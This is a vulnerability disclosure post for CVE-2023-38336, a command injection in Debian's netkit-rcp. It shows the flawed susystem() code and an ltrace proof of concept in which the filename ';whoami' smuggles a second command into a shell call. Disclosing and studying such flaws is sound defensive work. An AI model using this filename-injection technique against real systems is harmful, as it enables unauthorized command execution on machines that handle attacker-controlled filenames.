CVE-2023-38336: Command injection in netkit-rcp

TL;DR; Netkit-rcp is vulnerable to a command injection in filenames used as copy arguments.

Timeline

  • 19/06/2023: Debian security team contacted
  • 27/06/2023: Debian security team informed there was no upstream maintainer and advised opening a bug in Debian bug tracking system (BTS)
  • 28/06/2023: Bug reported to Debian BTS
  • 14/07/2023: CVE-2023-38336 assigned
  • 18/07/2023: current article publication

RSH and Netkit-rsh

RSH, standing for “remote shell” is an old communication protocol and the ancestor of SSH. A big difference is that RSH is obsolete because communications are unencrypted, making it a risky way of executing remote shell commands.

Netkit-rsh is an implementation of the protocol and there is no current upstream of the project AFAIK. It is shipped on debian as the rsh-client package (Debian – Details of package rsh-client in bookworm)

As for scp for SSH, RSH implementations usually have a rcp binary, allowing remote file copy.

The issue

A command injection exists in Netkit’s rcp implementation as the arguments to the command are fed without validation to a subshell. The faulty code is located in susystem() in rcp/rcp.c:

    412 static int
    413 susystem(const char *s)
    414 {
    415         int status, pid, w;
    416         sighandler istat, qstat;
    417
    418         if ((pid = vfork()) == 0) {
    419                 const char *args[4];
    420                 const char **argsfoo;
    421                 char **argsbar;
    422                 if (setuid(userid)) {
    423                         fprintf(stderr, "rcp: child: setuid: %s\n",
    424                                 strerror(errno));
    425                         _exit(1);
    426                 }
    427                 args[0] = "sh";
    428                 args[1] = "-c";
    429                 args[2] = s;
    430                 args[3] = NULL;
    431                 /* Defeat C type system to permit passing char ** to execve */
    432                 argsfoo = args;
    433                 memcpy(&argsbar, &argsfoo, sizeof(argsfoo));
    434                 execve(_PATH_BSHELL, argsbar, saved_environ);
    435                 _exit(127);
    436         }

Note that /usr/bin/netkit-rcp is a root SUID binary on Debian but that the above code drop privileges before executing the command, preventing privilege escalation (l. 422).

The above results in arguments of the file copies (i-e. filenames) to be added “as-is” to the sh -c command. One can thus forge a filename to execute its own commands:

$ ltrace /usr/bin/netkit-rcp "test" ";whoami"
getopt(3, 0x7ffd134ccc38, "dfprt")                                                                                   = -1
getservbyname("shell", "tcp")                                                                                        = 0x7f1846a37dc0
getuid()                                                                                                             = 1000
getpwuid(1000, 0x7f18469f62ff, 0, 0x7f18469322f7)                                                                    = 0x7f1846a36a00
snprintf("rcp", 64, "rcp%s%s%s", "", "", "")                                                                         = 3
signal(SIGPIPE, 0x55c473e09bbc)                                                                                      = 0
strlen("test")                                                                                                       = 4
strlen(";whoami")                                                                                                    = 7
malloc(38)                                                                                                           = 0x55c47528fed0
snprintf("/bin/cp test ;whoami", 38, "%s%s%s %s %s", "/bin/cp", "", "", "test", ";whoami")                           = 20
vfork(0x55c47528fed0, 0x55c473e0b14f, 0, 1)                                                                          = 0x3967b2
signal(SIGINT, 0x1)                                                                                                  = 0
signal(SIGQUIT, 0x1)                                                                                                 = 0
wait(0x7ffd134cca40/bin/cp: missing destination file operand after 'test'
Try '/bin/cp --help' for more information.
kali										  <== "whoami" result
 <no return ...>
--- SIGCHLD (Child exited) ---
<... wait resumed> )                                                                                                 = 3762098
signal(SIGINT, 0)                                                                                                    = 0x1
signal(SIGQUIT, 0)                                                                                                   = 0x1
free(0x55c47528fed0)                                                                                                 = <void>
exit(0 <no return ...>
+++ exited (status 0) +++

If an attacker can control filenames, he can execute commands on either the local or remote machine where the copy takes place.

Conclusion

There is currently no patch for this issue. If you are running RSH on your systems, consider upgrading to SSH.

References